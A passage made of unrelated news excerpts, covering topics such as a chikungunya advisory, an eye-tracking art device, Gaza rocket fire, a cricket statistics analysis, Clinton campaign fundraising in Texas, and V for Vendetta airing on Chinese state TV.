travelers returning from affected areas. As of June 6, more than 130,000 people in the Caribbean have become ill with the virus, according to the World Health Organization. There are 27 confirmed cases in the United States. "With North Carolina residents traveling to and from the Caribbean and other affected areas, we have been monitoring for possible imported cases," State Epidemiologist Dr. Megan Davies said. "Anyone experiencing symptoms of chikungunya should contact a physician and minimize exposure to mosquitoes to reduce the risk of transmitting the virus to others. Travelers who visit countries where chikungunya is widespread should take extra precaution against mosquito bites." The Division of Public Health is advising residents to discourage breeding of the Asian tiger mosquito, which is aggressive in daylight and can breed in small water containers. Residents should remove outside containers that can hold water, frequently change water in bird baths and pet bowls, repair leaky outdoor faucets, tightly cover rain barrels, keep gutters clean and use screens on windows and doors. -Paralyzed Graffiti Artist Draws With His Eyes Enlarge this image toggle caption EyeWriter.org EyeWriter.org A group of artists and hackers have crafted a gadget that lets a paralyzed graffiti artist continue making art using only his eyes. And it costs about as much as an iPod shuffle. Zach Lieberman of the Graffiti Research Lab started working on the EyeWriter with one man in mind: Los Angeles-based graffiti artist Tony Quan. In 2003, Quan was diagnosed with Lou Gehrig's disease, leaving virtually every muscle in his body paralyzed except for his eyes. Lieberman and developers from Free Art and Technology, OpenFrameworks and the Ebeling Group were inspired to create low-cost, open-source hardware and software for eye-tracking to help Quan draw again. Eye-tracking technology, in which computers and small cameras harness eye movements for writing, highlighting Web site text and other tasks, has led to digital tools for users with disabilities. However, as Lieberman tells NPR’s Liane Hansen, those devices usually have hefty price tags. Web Resources More About The EyeWriter "Commercial eye-trackers, to get a device is $10,000-$15,000," he says. The EyeWriter is estimated to cost about $50. He and his hacker colleagues have a do-it-yourself kit for building an EyeWriter that starts with a pair of sunglasses. For Lieberman’s prototype, he bought a pair from a vendor at Venice Beach. "Then we assembled a kind of wire frame that holds a Web cam, a small camera that we've mounted close to the eye," he explains. "We've written software that tracks the eye, and then we calibrate with [Quan's] eye movements and the computer screen." Quan can draw lines and color within them, though graffiti-writing with the EyeWriter is nowhere near as fast as shaking up a can of spray paint and drawing by hand. "But he can plot points. And from plotting points, create letters. And from creating letters, create words. And then color the words, shade the words, extrude them in 3-D, add different features," Lieberman says. Enlarge this image toggle caption EyeWriter.org EyeWriter.org The artist-hacker team studied Quan's art and his love of letter forms in order to produce the most effective software for him. They've just won a FutureEverything Award for innovation. That honor includes a cash prize, but Lieberman says he and the developers aren't interested in following the stereotypical storyline for a tech start-up: splashy launch, market saturation, initial public offering, high-priced sale. They want to help people who could use the EyeWriter to communicate, whether by graffiti or much simpler written words. "There are people who have loved ones who have ALS or locked-in syndrome ... or other diseases, where having that option, at least, of a kind of device that you can build for somebody in need is really important and really necessary," he says. "We're not in it to make money. This is really coming from the heart." -Dear Reader, As you can imagine, more people are reading The Jerusalem Post than ever before. Nevertheless, traditional business models are no longer sustainable and high-quality publications, like ours, are being forced to look for new ways to keep going. Unlike many other news organizations, we have not put up a paywall. We want to keep our journalism open and accessible and be able to keep providing you with news and analysis from the frontlines of Israel, the Middle East and the Jewish World. Israel on Thursday lodged an official complaint with the United Nations about the rocket fire into southern Israel from the Gaza Strip over the past several days. Ambassador to the UN Ron Prosor complained to UN Secretary-General Ban Ki-moon that “the lives of about a million Israelis are paralyzed” by the projectiles. Three rockets were fired into Israel on Thursday night, one of which was intercepted by the Iron Dome rocket-defense system. They marked the first such attacks since early Thursday morning when seven missiles hit Israel, in addition to one that was intercepted by the Iron Dome near Ashkelon. The IDF said that 130 rockets were fired into Israel since Monday.Prosor stated that “as long as Israel’s southern communities will not know quiet, it will not be quiet in Gaza.”He added that Israel fully cooperates with the UN, allowing civilian material and humanitarian aid into Gaza, “and in exchange weapons continue to flow into the Strip and rockets are fired into Israel.”On Thursday afternoon, the IDF raised the level of alert along the Egyptian border and ordered residents of communities located near Sinai to remain in their homes and lock their doors. Rapid response teams hurried to the towns and the army reinforced nearby forces out of concern that terrorists were planning another attack from the Sinai Peninsula.By the evening, the IDF lowered the level of alert but kept Road 12 – along the border – closed due to a general concern over attacks.On Wednesday, the air force attacked a motorbike in Rafah, seriously wounding a top global jihad operative who the army said was planning another assault on Israel from Sinai.Also on Thursday, the IDF said that it had noticed an increase in the use of cellular phones to detonate roadside bombs in the West Bank. The use of phones, the military said, had declined in recent years but suddenly picked up again in late 2011. The IDF said it also noticed an improvement in the camouflage used to hide the bombs.The most recent attack with cellular detonation was in April, when a bomb exploded next to an IDF vehicle close to Yatta, south of Hebron.No one was injured. Last week, two residents of Yatta were indicted for manufacturing bombs and planting them in the Hebron area. Join Jerusalem Post Premium Plus now for just $5 and upgrade your experience with an ads-free website and exclusive content. Click here>> -Alex Salmond’s reaction to being paid more than any other politician for appearing in the latest series of the satirical quiz show Have I Got News For You may have owed something to the “Because I’m Worth It” slogan of the L’Oréal cosmetic brand. A payment of £1,800 Mr Salmond listed in his register of MPs interests as his fee for appearing on the show last month was £300 higher than that recorded by the five other senior UK politicians who featured in the same series. “They must be operating a payment by results scheme”, Mr Salmond said when explaining why he had received a bigger sum than the other political guests on the flagship BBC panel show. Perhaps Mr Salmond felt the additional £300 was in recognition of a “Scottish weighting” fee over and above the recorded sums of £1,500 handed to Labour’s London mayoral candidate Sadiq Khan, shadow minister Diane Abbott, Liberal Democrat leader Tim Farron and Tory backbencher Jacob Rees-Mogg. But Mr Salmond’s fee of £1,800 may have left Scottish Conservative leader Ruth Davidson feeling shortchanged after she was paid £1,500, despite receiving praise for her performance in an episode of the show hosted by the actor Michael Sheen. Conservative MSP Murdo Fraser said: “Only in Alex Salmond’s mind was he head and shoulders above the rest.” Programme maker Hat Trick Productions said the reason Mr Salmond’s appearance money stood at £1,800 was because it had to make an additional payment of £300 in VAT as he was paid via a company that he uses for earnings outside politics. A spokeswoman for Hat Trick said the £300 went to the tax authorities and did not directly go to Mr Salmond. Scottish Liberal Democrat leader Willie Rennie criticised Mr Salmond’s claims about his performance in the episode, which was hosted by the actor and presenter Alexander Armstrong. Mr Rennie said: “This payment is more a reflection of the size of his ego then the quality of his performance.” -A slew of recent norovirus outbreaks on passenger cruises, including two on the same ship, have prompted the Centers for Disease and Control and Prevention to investigate, according to a report by CNN. Several passengers aboard Royal Caribbean’s Grandeur of the Seas began experiencing symptoms of the disease, which causes vomiting and diarrhea. About 105 of the approximately 3000 passengers and crewmembers onboard were said to be impacted during the ship’s April 5 – 12 cruise. The week before, another breakout of the disease afflicted 117 passengers and crew members, the CDC said in a news release. The ship docked in Baltimore to allow to health officers and an epidemiologist to board and conduct and initiate and investigation. Another 152 people were affected by an outbreak aboard Princess Cruises' Crown Princess that ended Saturday in Los Angeles affected. A CDC health officer will evaluate the situation on that ship. Read the full report here. -Senate Minority Leader Chuck Schumer on Wednesday laid out a list of Democratic demands following the ouster of James Comey a day earlier as FBI director. On the Senate floor, the New York Democrat laid out three conditions that he said his caucus agreed on during a closed-door meeting earlier in the day. First, Schumer said that Deputy Attorney General Rod Rosenstein should not be the one to appoint a special prosecutor. He said that responsibility should go to the highest-ranking civil servant at the Department of Justice. Second, Schumer said that Democrats agree that Comey is "needed more than ever to testify before the Senate." And third, Schumer again called on Attorney General Jeff Sessions and Rosenstein to brief all senators separately on the situation and in a classified setting if necessary. "They should do it soon because the questions are just swirling about every day and almost every hour," Schumer said. Schumer said that Senate Democrats plan to pursue several things in the coming weeks, but didn't elaborate. Senate Democrats already began on Wednesday to slow things down by postponing hearings. He added that the "overwhelming view" of his caucus is that a special prosecutor be appointed, claiming that serious doubts have been cast on Rosenstein's impartiality. Schumer noted reports that Comey met with Rosenstein last week to request more resources for the FBI's investigation into Russia. "That would make the timing of this firing even more suspect," Schumer said. He said the only thing Democrats are seeking "are assurances that this investigation is carried out in an impartial, independent way." "...That we get to the facts, that we get to the bottom of it," he said. He praised the leaders of the Senate Intelligence Committee for inviting Comey to appear before their panel next Tuesday. As of Wednesday afternoon, they hadn't heard back from him. While Democrats are adamant about the need for a special prosecutor to be appointed, Republicans would like to wait and see and want to learn more before calling taking such action. White House deputy spokeswoman Sarah Huckabee Sanders said Wednesday, "We don't think it's necessary." -Half brother to North Korea’s dictator Kim Jong Un, Kim Jong Nam was attacked in the shopping concourse of Kuala Lumpur’s airport on Monday. He approached an information desk to report he felt dizzy after being assaulted and was rushed to the hospital, but died on the way. The Guardian reports that local police official Fadzil Ahmat said Kim Jong Nam described the assault to the info desk workers, saying it “felt like someone grabbed or held his face from behind.” Three people were arrested in connection with the attack, and one of them is alleging that she thought she was participating in a prank for a TV show. Police General Tito Karnavian told reporters that the women were instructed to convince men to close their eyes, then spray water on them. One of the women arrested was a mother named Siti Aisyah, who had traveled from Indonesia for work. She told authorities she was paid to participate in the “prank”: “Such an action was done three or four times and they were given a few dollars for it, and with the last target, Kim Jong-nam, allegedly there were dangerous materials in the sprayer,” Karnavian said. “She was not aware that it was an assassination attempt by alleged foreign agents.” The other two arrested were Aisyah’s boyfriend and an unnamed woman with a Vietnamese passport, according to CBS News. South Korea was quick to accuse North Korea of planning the murder of Kim Jong Nam, but has not shared any evidence. Kim Jong Nam had been on the outs with his half brother since 2001, when he was “caught trying to enter Japan on a false passport to visit Tokyo Disneyland.” He has also in the past been critical of the family’s regime and believed in “a democratic process,” according to Japanese journalist Yoji Gomi. Gomi told Yahoo News that Kim Jong Nam seemed to have anxiety about his family and North Korea: “He must have been aware of the danger, but I believe he still wanted to convey his views to Pyongyang via the media,” Gomi said. “He was sweating all over his body, and seemed very uncomfortable when he responded to my questions. He was probably worried about the impact of his comments and expressions. The thought now gives me a pain in my heart.” Advertisement North Korean diplomats demanded Kim Jong Nam’s body, but didn’t file a formal complaint, so Malaysian authorities conducted an autopsy. He supposedly had several children, but none have come forward to claim him. -If you don’t live within an hour of the Village of Lake Placid in the Adirondack North Country, then you’d better hurry up and get in your car or on your bike. Now. This haste is required if you want to catch the free Rusted Root concert scheduled for 7:00 p.m. tonight on Mirror Lake in Lake Placid. Tonight’s concert is part of the Songs at Mirror Lake Music Series, a seven week summer concert series highlighting an array of local, regional, and national musical talent hosted at the scenic setting of Mids Park, on the shore of Mirror Lake, Main Street in Lake Placid. Songs at Mirror Lake is a volunteer, not for profit organization that features emerging artists in a variety of musical genres. The concerts are held on Tuesday evenings from 7:00-9:00pm during July and August and all are free to the public. Oh and we’ll need you to chant, “Rain, rain, go away!” so the concert can be held outside as planned. -“It is tails", said Ranjan Madugalle, the match referee, on 23 March 2003, to resounding cheers from the Johannesburg crowd. Sourav Ganguly now had the chance to decide what the Indian team should be doing after winning the toss against the Australians in the World cup final. The same Indian team had folded for 125 against the Aussies in the group stage match, and there was some effigy burning; the same Aussies, who had crushed every opponent so far, had not been beaten in a World Cup fixture since their loss to Pakistan in a group stage match in 1999. There was some context to India’s batting collapse in the earlier match: on the preceding tour to New Zealand, the much-vaunted Indian batting lineup couldn’t muster more than 219 runs in over 11 international innings on severely underprepared pitches. Understandably, they were sorely in need of confidence when they landed on South African shores. On the upside, the Indian fast bowlers had a spring in their step after bowling on green tops. After the debilitating loss against Australia, the Indian team turned a corner, won eight matches on the trot, and reached the final. Did they have a chance against the invincible Aussies? “Sourav you’ve won the toss. What will you be doing?" boomed Michael Holding in his Jamaican accent. Fans could barely hear “We’ll have a bowl" in the midst of the din, already having assumed that the result of winning the toss was a foregone conclusion. Wait, what did he just say? “Why is that?" asked Holding, thrusting the microphone towards Ganguly. “Because it’s, it’s a bit damp… Uhhh, it’s because of the rain in the morning. We’ll have a go at this first." This was like turkeys voting for Christmas, so to speak. Was the earlier result playing on his mind? “So, you’re hoping that your fast bowlers will get a bit of purchase on this surface and you’ll get a couple of early wickets?" “I definitely think so if they can put the ball in the right place the way they’ve bowled…we’ll definitely get some purchase". Why did he have to think? All he had to say was “Bat". One syllable. Was it so difficult to say? “Ricky, would you have done anything different?" asked Holding of the Australian captain, who was barely able to conceal his delight. “No, would’ve had a bat, actually. It’s always nice to bat in big games in finals; I think so we would’ve had a bat." See! He was thinking straight. Why couldn’t Ganguly think more like him? Sure, Ganguly might have had some grounds for bowling first; but, what did the numbers suggest, in the manner of successful chasing teams? If scores of scarred Indian fans haven’t minimized this window by now, they would recall that India failed to chase 360 in the final. Back in 2003, 360 was an unassailable target. In an article on ESPNcricinfo in January, the metamorphosis of the ODI game has been captured in a snapshot: a first innings score of 300-324 guaranteed victory before 2001 (and this included 60-over games) 9 times out of 10; since 2013, the corresponding figure has slipped to less than 3 times out of 4. The par score has increased from ~225 to ~270 as well. These results aren’t surprising, considering the evolution of the ODI game. Like the previous article about teams chasing, if we were to demarcate ODIs into nine eras, the increase in strike rate (runs/100 balls) for batsmen (1-7) follow a similar upward trend, with the latest era batsmen scoring at 20 percentage-point higher rates (compared to ~65 in era 1). However, there are various nuances across the batting order. In general, the effectiveness of an ODI batsman is determined by factors such as how fast one can score his runs (strike rate), his ability to not get dismissed (not out %), and his propensity to score a big number of runs. Like the last time, here too, we will be examining the trends of these factors before moving on to take a look at the top batsmen who were proficient in the first ODI innings. Ever since Martin Crowe’s team revolutionized ODI batting with Greatbatch’s fireworks at the top of the order in 1992, the role of the ODI opener has never been the same since. The strike rate of the opening batsmen (1-2) has steadily risen over the years, with the greatest bump happening in the era post-1992. The strike rates of no. 4 and no. 6 batsmen have taken a drastic upward turn in the latest era, probably due to the effect of fielding restrictions in the middle overs. The Not Out percentage shows some unusual patterns; the probability of an opener staying not out is still minuscule, but batting later has its benefits. Of particular interest is the no. 4 (no. 5 as well) during the 2002-2004 era. Probably, teams were trying to emulate the Michael Bevan template of batting through to the end (observe the strike rate in the same era being lower than the opener or no. 6). Understandably, the Not Out percentage is much less when compared to the chasing values (~20%) for middle order batsmen (4-6), since teams batting first have a different mandate (maximizing their resources) compared to while chasing (staying in touch with the required run rate, while conserving wickets). The propensity of making big scores is a bit different as well. Batsmen batting in the top 4 have had the best chance to register a 50+ score (~1 in 4 innings). Due to increased strike rates, the batsmen at number 6 have had greater opportunities to chip in with big scores recently. The occurrence of 100+ scores across the batting order shows some unusual trends; the percentage of innings resulting in a 100 increased till 02-04, decreased subsequently, and then rose sharply in the last 2-3 eras. In fact, the 13-16 era was the most productive in terms of individual 100 scores. No doubt, the tinkering of the fielding restrictions in the middle overs has helped some of the middle-order batsmen to amass big scores. The overall evolution of the ODI game can be deduced by observing the Batting Index benchmark (BI). For the uninitiated reader, it is a product of the batting average (runs/dismissal) and the strike rate (runs/100 balls), divided by 100. For a batsman, the ability to score more runs before getting dismissed, and in a lesser number of balls is highly prized. Since it is a multiplication product, a high BI value implies that the constituent factors are high as well. The progression of ODI batting can be observed by cursorily glancing through the BI values across the batting order in different eras. Batting was easier at numbers 3 and 4 in the first two eras, before the openers caught up in the post-Greatbatch eras. The numbers have been fairly stable among the top 6 overall, and have tailed off at number 7. The effect of four fielders in the middle overs is there to be seen in the latest era; numbers 3 and 4 have the highest BI values in the table. A simple way to understand the differences in batting indices while setting a target and chasing a target would be to compare the two. The above table shows the percentage variation of BI (chasing) with BI (setting) as a reference. The positive and negative differences are shown in green and red, respectively. For instance, BI (chasing) was ~15% higher than the corresponding BI (setting value) for openers in the 71-84 era. Of late, BI (chasing) has taken a beating across the batting order. From the statistics seen so far, we can conclude that batting first and batting second are two different ball games; the lower order batsmen (6-7) suffer comparatively while chasing. The opening batsmen have had a greater influence in the chase compared to batting first. Hence, for a chase, the top 5 batsmen influence it more often than not; and, while batting first, the top 6 influence most games. In this article, the overall BI (batting positions 1 to 7) has been taken as the baseline. This may cause an under-representation of lower-order batsmen since their BI is not at the same level. However, a universal baseline is much easier to apply across the board and hence will be used in this analysis as well. Similar minimum runs based cutoffs have been chosen (minimum 500 before era 3, and 750 runs for all eras post 1988) with respect to batsmen batting between positions 1-7 while setting a target in different eras. Once the bar has been set, the identity top-20 batsmen by BI ratios (w.r.t. the 1-7 BI setting baselines) can be easily found out independent of the match context. Since the BI is a temporally dynamic index, comparing different batsmen across eras is also taken care of to some extent. In the first two eras, Vivian Richards was the master blaster in the first innings. It is also worth recalling that he was top chasing batsman in these two eras as well. Other West Indian greats such as Haynes, Greenidge, and Lloyd are also in the top-20. All-rounders such as Imran Khan and Kapil Dev feature in this list, despite their low batting positions. In the second era, the Aussies dominate the table with Steve Waugh, Jones, Boon and Marsh. Other players who did well batting first were Zaheer Abbas, Gower, Lamb, and Inzamam. It can be seen that the top-10 has been dominated by middle-order batsmen. Over the next three eras, opening batsmen started to feature a lot more in the higher positions: Lara, Tendulkar, Ganguly, Kirsten, Gilchrist, Jayasuriya, Mark Waugh—all registered good BI ratio values. Other ODI regulars such as Bevan, Ponting, Ranatunga, Aravinda de Silva, Jacques Kallis, Mohd. Yousuf are present as well. Pakistan’s Abdul Razzaq makes an appearance in the top 3 of era 6, despite him batting lower down the order. In the last three eras, the middle order batsmen have made a comeback: Dhoni, Hussey, de Villiers, Duminy, Pietersen, Sangakkara, Taylor and Yuvraj Singh. The presence of Ireland’s Paul Stirling amongst the familiar names is a big achievement. Overall, the lists have been dominated by batsmen who have batted in the top 5 positions. The presence of Kapil Dev, Boucher, Razzaq, Imran Khan, Oram, Flintoff and Symmonds in the top-20 show that it is easier for a lower-order batsman to make an impact while setting a target as compared to in a chase. Nevertheless, a small tweak to the index must be formulated to take care of the representation of the lower-order batmen. From the above tables, Viv Richards’ BI ratio of ~3.17 towers over everyone else. Many batsmen, such as Tendulkar, Sehwag, Amla, de Villiers, and Abbas, have crossed the 2.5 mark. It must also be noted that the spread of BI ratio is not the same across eras; for instance, the top batsman in era 1 has a BI ratio of ~3.17, but the corresponding top batsman in era 6 is only at ~1.99. In order to take care of this, a BI ratio cutoff of 1.40 can be applied across the board. The choice of the 1.40 BI ratio benchmark is specific, as it narrows the list of elite batsmen to at least 8 players. This ratio of 1.40 represents a 40% better performance, vis-à-vis an average batsman (1-7), while setting a target. How did these wonderful batsmen fare across different eras? Only a few players have been able to consistently outperform the rest of the field across different eras; this can be highlighted by the number of times these players have featured multiple times in the BI ratio lists. Needless to say, some of the greatest ODI batsmen feature in this list of players who have crossed BI ratios of 1.75 and 1.40 in different eras. In the above table, the player’s name, and his nth appearance (in parenthesis) have been indicated at different eras. For example, Miandad made his 2nd appearance at a chasing BI ratio>1.40 in the second era (84-89). It must also be noted that a player’s nth appearance in the 1.75 column is not reported in the 1.40 column, even though it is obvious, but for one exception—Sachin Tendulkar. Tendulkar breached the 1.40 barrier in era 4, and remained above the 1.75 level (and 1.40) in the next 4 eras. No other player has been able to sustain that level of performance for 4 eras, let alone 5. However, it must be remembered that the first era is 15 years long. In the 1.40 list, many players such as Jayasuriya, Kallis, Lamb, Boon, etc. have made their nth appearance across in non-contiguous eras. And, only five players have breached the 1.40 level in more than 3 eras—Tendulkar, Dhoni, Ponting, Jayasuriya and Kallis. AB de Villiers and Amla are active players, and can make it into this elite list if they maintain their present form. What about the teams then? Across eras, only 8-18 batsmen have crossed the 1.40 BI ratio level, which indicates the exclusivity of the benchmark. In five eras, one team led the charts in terms of the stockpile of elite players; barring South Africa in the latest era, the top team with the highest number of high quality 1st innings batting personnel has won international tournaments. Of particular interest is Australia’s stranglehold of champion first innings batsmen from 1994 to 2008. So, could Ganguly have done things any differently in the 2003 World Cup final? Australia, with its fantastic target-setting batsmen, were the pre-eminent ODI team for five eras. India too, had equivalent resources while batting first between 1998-2001, but couldn’t keep up with the Aussie might in the next era. Wisden wasn’t wrong in its assessment that this team (without Shane Warne, mind you) would have beaten a Rest of World XI. And then there was the small matter of them being a champion chasing team as well. ALSO READ: How India chased off the run-chase blues Zaheer Khan might have been overexcited, and conceded 15 runs in the opening over; the two wickets that Ganguly was hoping for due to the purchase off the wicket never came until the 20th over, when the Aussies were comfortable at 125/2; two formidable batsmen, in the form of Ponting and Martyn, familiar with the art of setting a target, stitched together a massive partnership. That man Ponting would more than compensate for his sedate first 50 off 74 balls—by scoring his second 50 off his next 29 and finishing with 140 off 121, taking Australia to 359. The Indian bowling lineup which had bowled like a dream for most of the tournament were demolished into submission; Srinath, the elder statesman, conceded 87 runs in what was his last ODI game. What if India had collapsed batting first, like in the group stage game? While individual predictions about a specific match can’t be made (and this is what makes the sport fun), take a moment to consider this: against the Aussies in their pomp (1 January 1998 to 31 December 2008), India had the best winning record against them while batting first; they only won five out of 27 matches batting second (fifth). After Tendulkar’s twin assaults in Desert Storm™ and Desert Storm Reloaded™, India hadn’t won a single match chasing against Australia until late 2007. No wonder the CB series victory against Australia in 2008 was a watershed moment. On this basis, India had a better chance to win the match if they had batted first. Sigh. If only… PaajivsPunter is an anonymous collaborative blog. They seek to write original, well-researched and thought-provoking articles. So far, they’ve written opinion pieces, commentary, perspectives, satire, analytical features and long-form narratives on cricket. ALSO READ: Is R. Ashwin the all-rounder India has been dreaming of? Comments are welcome at feedback@livemint.com -Nearly six years ago, then-Democratic National Committee Chairman Tim Kaine was headed to Las Cruces, New Mexico — a battleground state in the 2010 midterms commanding national attention. The city was less than an hour's drive from El Paso, and at least one staffer, western states director Ed Espinoza, was pushing for Kaine to make a detour to help Linda Chavez-Thompson, the Democratic nominee for lieutenant governor. In Espinoza's telling, his bosses balked at the idea, but ultimately the proposal made its way to Kaine's desk. Kaine chose to go. "The decision was solely his, and he did it over objections from the staff above me," recalled Espinoza, now the executive director of the liberal group Progress Texas. "It was a time when the state wasn't feeling a lot of love from national Democrats." The Texas Tribune thanks its sponsors. Become one. “ There’s still a lifetime in politics, even though it’s less than 100 days. No one can be complacent. You’ve got to work hard. ” — Regina Montoya, Texas fundraiser for Hillary Clinton It's stories like those that fill Texas Democrats' memories of Kaine, now a U.S. senator, as they prepare to welcome him to the state in a new role: the running mate for their presidential nominee, Hillary Clinton. Kaine is headlining the Clinton campaign's first major fundraisers in Texas since she wrapped up the nomination, with events planned Tuesday in Austin and Wednesday in Dallas and Fort Worth. “To donors, he is a familiar guy, and when he was chair of the DNC, he showed up in Texas," said state Sen. Kirk Watson of Austin, a former mayor of Texas' capital city who has known Kaine since he was the mayor of Richmond, Virginia. "People got to see him, got to know him." Back in 2010, Kaine went on to attend two events in El Paso, a campaign office opening and a canvass. Chavez-Thompson ultimately lost to GOP incumbent David Dewhurst by a massive margin, but party loyalists like Espinoza did not forget Kaine's help. Two years later, Espinoza was among the Texas Democrats who hosted a fundraiser in Austin for Kaine's Senate campaign. This time around, the stakes are a bit higher. Clinton may have healthy leads on Trump in national and battleground polls, but her campaign is alerting its senior fundraisers about Trump's $80 million haul in July, including in an internal memo obtained by The Texas Tribune. "This was far more than anyone expected - and should be a wake up call to all Hillary supporters," Clinton campaign manager Robby Mook wrote in the memo, which was first reported by Politico. "We must redouble our efforts in the coming weeks." Mook went on to urge fundraisers "to take seriously the threat that Donald Trump could outraise us," warning that his small-donor operation is only getting started and has plenty of room to grow. Mook also noted how Trump, a billionaire, "has the capacity to write his campaign an eight or nine figure check, which could single-handedly tilt things in his favor." The Texas Tribune thanks its sponsors. Become one. Clinton's top Texas fundraisers are getting the message. "There’s still a lifetime in politics, even though it’s less than 100 days," said Dallas lawyer Regina Montoya, who has seen the memo. "No one can be complacent. You’ve got to work hard.” Montoya is a "Hillblazer" in Texas, or a supporter who has bundled at least $100,000 for the primary and general election. As of June 30, Clinton's campaign was up to 27 Hillblazers in Texas out of a few hundred across the country and some overseas. Trump has also been busy filling his campaign coffers with Texas dollars. After making a two-day fundraising swing through the state in June that raked in close to $8 million, he is due back Aug. 23 for finance events in Fort Worth and Austin, according to invitations. Trump's son, Donald Trump Jr., spent a day in the state last month in one of his first solo fundraising missions for his dad's campaign. The younger Trump, who raised almost $2 million between two fundraisers in Dallas and Houston, is expected to return before Election Day. When Kaine touches down Tuesday in Texas, it will not just be to tap the ATM that Texas typically serves as in general elections. He will also hold a semi-public event in Austin to thank Clinton volunteers and promote her jobs plan, a somewhat unusual move that has some Texas Democrats buzzing that campaign sees an opening — however small — in typically beet-red Texas. "We really feel like their combination, and of course their opponent, could lead to some seismic changes in Texas," said Austin architect Elliot Johnson, another Hillblazer. "I think that also carries over to the fundraising. I think you see a lot of people who weren’t involved in the primary are starting to donate." “You have a lot of Republicans who really don’t know what to do with Donald Trump, some moderate Republicans," Johnson added. The Texas Tribune thanks its sponsors. Become one. Montoya said she has no doubt Kaine can lead the fundraising charge in Texas, especially when it comes to hearing out donors one-on-one. She recalled how Kaine, earlier this year at a Clinton phone bank in Nevada, "spoke in flawless Spanish to everyone there" – including at length with her 92-year-old dad. "This is a guy that just oozes gentleman-ness," Montoya said, "just oozes the ability to listen to people." -Sure, downloading songs and movies is easy these days (even when done legally), but what if you don't have a computer or internet connection? "How would I be reading this post, then?" you might ask. Fair point, but there must be dozens of other people out there with portable media players yet no way to fill them, and for this market Sony and Universal have partnered to create POP, the "instant entertainment 24/7" vending machine hitting the UK this holiday season. Unlike other boxes that sell media players, this one sells content to fill them, downloaded straight to a memory card, flash drive, PMP, or other (USB-supporting) portable device. You can also purchase media-based content on DVD and Blu-ray if you like, games too, all of which "pop" out shrink wrapped and in full retail garb. Being able to buy a Blu-ray disc at midnight on a dark corner sounds mildly interesting, but with no mention of file formats or DRM or anything else, you won't find us sticking our memory cards into this thing's slots anytime soon. -TAMPA — Nine-year-old Lucas White didn't know what to say. When his mom approached his lemonade stand with a stranger holding a gift bag Friday, Lucas stood quietly as friends correctly guessed what was inside. Lucas got a new iPod Touch, just like the one that was stolen from him Wednesday when teenagers in a Lutz apartment complex pushed him to the ground and robbed the children's drink stand of all $13.53 in profits. The stranger, Scott Leckington, bought not only a new iPod, but $30 in iTunes gift cards. He gave Lucas' mother, who was recently laid off from her job, $150. And he gave $75 in Pizza Hut gift cards so Lucas could treat his fellow lemon-squeezers to a pizza party. Leckington delivered another pizza card and an iPod case donated by Pizza Hut and Best Buy. "I like it," Lucas said as he choked back tears. He threw his arms around Leckington and held on for a few minutes before he went to work putting the iPod in its case. He tried to hand Leckington a cup full of Friday's drink proceeds but the 44-year-old Brandon man wouldn't have it. Eventually Lucas came to accept the gift with a toothy smile, just like he did for waves of people that day who had traveled for as long as two hours to buy a $1 cup of lemonade or "lime-onade" in a parking lot at the Livingston apartments. The kids guessed they had made at least $100 but hadn't counted their profits yet. The lemonade stand heist had been reported in the Tampa Bay Times and on local television news programs. "When I saw the story, it was just sad to see how two teenagers would take something away from a little 9-year-old," Leckington said. "It was just wrong, and I saw it was an opportunity to give back." He got in touch with Lucas' mother, Jacqueline Jolly, Thursday night. He, too, had been recently laid off and said he wanted to reach out to the mother who had worked to help her son set up his first lemonade stand even though money was tight. She had bought pizza for the kids who helped out. Lucas' initial goal was to make $50 selling lemonade to buy toys, but when friends pitched in, he decided to divide the earnings. They decorated a cardboard box, offering balloons with each purchase, and played Eric Church and country songs on his iPod. About 5 p.m. neighbor Deante Small, 19, and a 16-year-old girl the kids didn't know asked for two glasses of lemonade. The customers began to argue with the kids that their portions were too small, and Lucas splashed them with water. The girl then pushed him to the ground and grabbed his iPod while Small grabbed the money cup. The two drove away as Jolly called the Hillsborough County Sheriff's Office. Small was arrested Wednesday night and charged with robbery by sudden snatching. The girl, whose name was not released, was charged with battery and petty theft. Small was released Thursday on $2,000 bail. "It was just one bad decision, but now the kids are seeing that there are consequences when you make a bad decision and there's also good in the world and people who will pitch in to help you when you're down," said Tamika Wright, whose children Nylia-Jane, 9, and Jadin, 10, joined in the lemonade venture from the start. "I know they've learned a lot from this." Within minutes of setting up shop Friday, a man on a motorcycle came from New Tampa to hand the kids a wad of bills. Workers who came to clean the apartment pool stopped to donate $12 and a 79-year-old woman from Temple Terrace gave $30 for a hug and a drink. As Jolly and other parents and brothers stood outside to keep an eye on the kids, her phone buzzed with emails from people wanting to give money. One sent her $200 on PayPal. "Once a man gave us a $50 bill and told us to 'keep the change,' and people are giving us money and not even wanting any lemonade," said Nylia-Jane. "We didn't even want any money, we just wanted to help Lucas to be nice, but he's being nice and giving us money." The best gift, though, was completely unexpected and led Jolly to break down in tears. She got a call about 1 p.m. from the apartment office that the arrested teen's mother had left a gift for Lucas. It was a new, black folding table, matching folding chairs, a glass beverage dispenser and a juicer so the kids no longer had to squeeze lemons by hand. There was a card from Small's mother containing $20 and an apology. There was also a handwritten letter from the son, known as "Casper" to the kids in the neighborhood, saying he hopes to "dearly apologize" for his actions. "It's pretty good," Lucas said of the gesture. "I accept his apology." Contact Anastasia Dawson at [email protected] or (813) 226-3377. Follow @adawsonwrites. -V for Vendetta, a thriller film produced in 2005 about a near-future dystopian society, previously censored in China, was aired on China Central Television Station (CCTV) Channel Six on December 14, 2012. Many people are surprised by the screening, in particular the mask of V, which has been used by activists all over the world as a symbol of resistance against government oppression. Screening of a politically charged film This video uploaded by youtube user loveforchina is an example showing how activists have made use of the film to protest against the human rights situation in China: That's why CCTV's gesture soon became a hot topic online on Chinese micro-blogging platform Sina Weibo. A huati [zh], topical discussion, was even set up on the platform, which soon had more than 3469 conversation threads. Trumpet Micro News (喇叭微新聞's highlights [zh] this popular discussion thread: NOW！CCTV6正在播出《v字别动队》（又名《V字仇杀队》）。应该算是大陆首播了！ Now! CCTV6 is showing V for Vendetta. This should be the first time the film is on show in mainland China. The news highlight attracted many to join the conversation: 橐橐：禁播才心里有鬼，放开后发现其实也没什么大不了，也许中国不要中共的领导也不会有什么啦，一切都是猜测。 橐橐：Censorship means that there is a ghost in [the authorities] heart. Once the censorship is lifted, everything is normal. Maybe China does not really need the Chinese Communist Party for leadership, of course this is speculation. 叶孤城蝶恋花：知道CCTV6播V确实是激动了半天，感觉天朝还是有希望的，就是没想通怎么要改成个别动队，求解释 叶孤城蝶恋花：I am so excited about CCTV 6's screening of V and feel that there is hope for the Empire after all. But I don't understand why they changed the film title (from V Revenge Killing Squad” V字仇殺隊）to “V Don't Move Team” （V字別動隊 – or V Commando Team) . Can someone explain? Less censorship in the future? Apart from the film title, its content had not been edited, as pointed out by the China Digital 